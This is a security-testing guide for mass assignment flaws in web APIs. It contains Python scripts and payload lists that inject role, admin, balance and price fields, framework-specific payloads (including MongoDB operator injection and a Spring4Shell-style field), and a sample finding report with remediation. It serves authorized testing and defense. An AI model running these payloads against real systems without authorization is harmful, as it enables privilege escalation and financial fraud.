Testing API for Mass Assignment Vulnerability

When to Use

• Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
• Assessing whether the API binds all client-supplied properties to the data model without an allowlist
• Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
• Testing APIs built with ORMs that auto-bind request parameters to database models
• Validating that server-side input validation restricts writeable properties per user role

Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

Prerequisites

• Written authorization specifying target API endpoints and scope
• Test accounts at different privilege levels
• API documentation or OpenAPI specification to identify expected request fields
• Burp Suite Professional for request interception and parameter injection
• Python 3.10+ with requests library
• Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

Workflow

Step 1: Identify Writable Endpoints and Expected Parameters

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

Step 2: Inject Privileged Fields

# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\nTotal mass assignment findings: {len(all_findings)}")

Step 3: Verify Assignment Through State Change

def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False

# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")

# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")

# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")

# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")

Step 4: Framework-Specific Testing

# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]

# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]

# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # Override MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB operator injection
]

# Spring Boot / JPA style
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell style
]

# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")

Step 5: Order and Financial Object Mass Assignment

# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")

# Test 1: Create order with manipulated price
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # Injected fields
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}

resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[CRITICAL] Price manipulation via mass assignment")

# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[MASS ASSIGNMENT] Order status/payment fields modified")

# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[CRITICAL] Wallet balance manipulation via mass assignment")

Key Concepts

Term	Definition
Mass Assignment	Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-Binding	Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)	Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)	Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level Authorization	OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)	Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model

Tools & Systems

• Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
• Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
• Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
• OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
• Postman: API testing platform for crafting requests with injected parameters and verifying responses

Common Scenarios

Scenario: SaaS User Registration Mass Assignment

Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.

Approach:

1. Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user"
2. Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin"
3. Confirm admin access by calling admin endpoints with the new account
4. Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
5. Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified

Pitfalls:

• Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
• Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
• Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
• Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
• Missing nested object mass assignment where fields like user.role or address.verified can be injected

Output Format

## Finding: Mass Assignment Enables Role Elevation via Registration API

**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
  - POST /api/v1/register
  - PUT /api/v1/users/me
  - POST /api/v1/orders

**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.

**Proof of Concept**:
1. Register with injected role:
   POST /api/v1/register
   {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
   Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}

2. Update profile with injected balance:
   PUT /api/v1/users/me
   {"name":"Attacker","balance":99999.99}
   Response: {"id":5001,"balance":99999.99}

3. Create order with manipulated price:
   POST /api/v1/orders
   {"items":[{"product_id":42,"qty":1}],"total":0.01}
   Response: {"order_id":8001,"total":0.01}

**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.

**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields